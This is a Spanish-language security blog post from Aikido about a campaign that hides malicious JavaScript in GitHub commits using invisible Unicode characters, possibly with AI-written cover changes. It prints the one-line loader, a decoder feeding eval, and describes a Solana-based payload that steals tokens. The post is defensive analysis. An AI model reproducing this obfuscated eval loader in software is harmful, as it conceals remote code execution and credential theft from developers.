Aikido

El Retorno de la Amenaza Invisible: Unicode PUA Oculto Afecta a los Repositorios de GitHub

Escrito por
Ilyas Makari

No hace mucho que descubrimos extensiones comprometidas en Open VSX. Ahora, está surgiendo una nueva ola de ataques, y todo apunta al mismo actor de amenazas.

La técnica resultará familiar: código malicioso oculto inyectado con caracteres Unicode de Área de Uso Privado (PUA) invisibles. Vimos este truco por primera vez en marzo, cuando los paquetes npm utilizaban PUA para ocultar cargas útiles. Luego vino Open VSX. Ahora, el atacante parece haber puesto sus miras en GitHub, y sus métodos están evolucionando. La entrega es cada vez más inteligente, sigilosa y mucho más engañosa.

Cronología de la campaña de código invisible

  • Marzo – Aikido descubre por primera vez paquetes npm maliciosos que ocultan cargas útiles utilizando caracteres Unicode de Área de Uso Privado
  • Mayo – Publicamos un blog que detalla los riesgos del Unicode invisible y cómo puede ser utilizado en ataques a la cadena de suministro
  • 17 de octubre – Descubrimos extensiones comprometidas en Open VSX utilizando la misma técnica;
  • 18 de octubre - Koi Security analiza el malware y la carga útil, nombrándolo Glassworm
  • 31 de octubre – Descubrimos que los atacantes han cambiado su objetivo a los repositorios de GitHub

Sigilo por diseño

Fuimos alertados por primera vez de esta nueva ola cuando un desarrollador se puso en contacto tras notar algo extraño: varios de sus propios repositorios de GitHub habían sido actualizados por él, al menos según el historial de commits. Los commits parecían legítimos. Contenían actualizaciones de características realistas, pequeños refactors e incluso correcciones de errores que coincidían con el estilo de codificación y los mensajes de commit del proyecto. Aparte de una diferencia, el correo electrónico del committer estaba configurado como null. Pero al final de estos commits, cada uno tenía una única y idéntica adición:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

¿Puedes detectar el malware? A primera vista es difícil ver qué está pasando, pero lo que destaca es la eval llamada, que a menudo se utiliza para ejecutar código dinámicamente. Solo la entrada a eval parece vacía. Sin embargo, la cadena vacía pasada a d() ES eval no está vacía en absoluto. Contiene caracteres Unicode invisibles, código oculto codificado con símbolos de Área de Uso Privado, al igual que en los incidentes anteriores de npm y Open VSX.

Esta vez, sin embargo, la entrega es mucho más sutil. Todo se ha colapsado en una sola línea, sin dejar casi ninguna pista visual. El código malicioso está oculto dentro de lo que parece una actividad normal del proyecto, camuflado en commits legítimos.

Es posible que los cambios de aspecto benigno fueran generados por IA para hacer los commits más convincentes. Dado que estos commits eran muy específicos del proyecto, sugiere que el atacante pudo haber aprovechado grandes modelos de lenguaje para elaborar cambios de código realistas y conscientes del contexto, utilizando eficazmente la IA para camuflar su carga útil dentro de la actividad de desarrollo ordinaria.

Los caracteres PUA decodificados conducen a un script que parece muy similar a las muestras de Open VSX, lo que sugiere que probablemente estamos tratando con el mismo actor de amenazas. El script decodificado parece usar Solana como canal de entrega, obteniendo y ejecutando una carga útil desde la blockchain. Basándose en los incidentes de Open VSX, esas cargas útiles han sido capaces de robar tokens y otros secretos. Si se recolectan credenciales o tokens de CI, podrían reutilizarse para insertar la misma carga útil en otros repositorios, lo que a su vez podría permitir una propagación tipo gusano, como hemos visto en ataques anteriores.

Indicios de un Ataque de Mayor Envergadura

Después de identificar el patrón malicioso, comenzamos a buscar si la misma carga útil aparecía en otros lugares. Una rápida búsqueda en GitHub del patrón reveló rápidamente otros repositorios que mostraban la misma línea sospechosa.

En estos proyectos, se había enviado un nuevo commit que a primera vista parecía completamente legítimo. Los commits contenían cambios normales como actualizaciones de documentación, incrementos de versión y pequeñas mejoras de código, pero cada uno también incluía la misma carga útil oculta añadida al final de un archivo.

Por ahora, esta campaña parece estar limitada a proyectos JavaScript alojados en GitHub. No hemos observado signos de compromisos similares en npm u otros ecosistemas, aunque lo estamos monitorizando de cerca ya que el mismo atacante podría intentar expandir su alcance.

Amenazas en Evolución, Defensas más Inteligentes

Estos incidentes subrayan la necesidad de una mayor concienciación sobre el mal uso de Unicode, especialmente los peligros de los caracteres invisibles del Área de Uso Privado. Los desarrolladores solo pueden defenderse de lo que pueden ver, y en este momento la mayoría de las herramientas no les muestran lo suficiente. Ni la interfaz web de GitHub ni VS Code mostraron ninguna señal de que algo anduviera mal. En casos anteriores, como los ataques de Open VSX, algunos IDE sí mostraron indicadores sutiles junto a los caracteres ocultos, pero esas salvaguardas faltaban aquí.

Aunque esta técnica no es nueva, está claramente evolucionando. Amenazas anteriores como Shai Hulud simplemente inyectaban scripts post-instalación maliciosos, lo que los hacía relativamente fáciles de detectar. Ahora, los atacantes están mezclando código malicioso con commits realistas y mejoras específicas del proyecto, posiblemente con la ayuda de la IA para que sus cambios parezcan naturales. Es una señal de hacia dónde se dirige el panorama de amenazas.

En Aikido Security, nos estamos adaptando a esa misma evolución. Utilizamos grandes modelos de lenguaje, entre otros sistemas de detección, para detectar estas amenazas cada vez más sutiles. A medida que los atacantes adoptan la IA para ocultar sus intenciones, nuestras defensas deben volverse igual de inteligentes para descubrirlas.

Compartir:

https://www.aikido.dev/blog/the-return-of-the-invisible-threat-hidden-pua-unicode-hits-github-repositorties

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.